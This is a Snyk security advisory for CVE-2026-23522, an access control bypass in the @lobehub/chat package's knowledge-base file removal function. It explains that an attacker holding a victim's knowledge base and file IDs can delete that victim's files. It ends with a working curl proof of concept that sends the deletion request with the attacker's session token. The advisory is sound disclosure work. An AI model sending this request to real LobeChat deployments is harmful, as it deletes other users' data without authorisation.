Access Control Bypass Affecting @lobehub/chat package, versions *
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-JS-LOBEHUBCHAT-15038696
- published20 Jan 2026
- disclosed19 Jan 2026
- creditDenizParlak
Introduced: 19 Jan 2026
CVE-2026-23522 (opens in a new tab)How to fix?
A fix was pushed into the master branch but not yet published.
Overview
@lobehub/chat is a Lobe Chat - an open-source, high-performance chatbot framework that supports speech synthesis, multimodal, and extensible Function Call plugin system. Supports one-click free deployment of your private ChatGPT/LLM web application.
Affected versions of this package are vulnerable to Access Control Bypass via the knowledgeBase.removeFilesFromKnowledgeBase function. An attacker can delete files belonging to other users by supplying valid knowledge base and file identifiers.
Note:
This is only exploitable if the attacker knows both the target's knowledge base ID and file ID, which may be obtained through shared links, logs, or referrer headers.
PoC
ATTACKER_TOKEN="xx"
VICTIM_KB="kb_tuLBfskdDN1r"
VICTIM_FILE="file_v5wCNLqSaoPp"
curl -X POST "https://localhost/trpc/lambda/knowledgeBase.removeFilesFromKnowledgeBase?batch=1" -H "Content-Type: application/json" -b "__Secure-better-auth.session_token=$ATTACKER_TOKEN" -d '{"0":{"json":{"knowledgeBaseId":"'"$VICTIM_KB"'","ids":["'"$VICTIM_FILE"'"]}}}'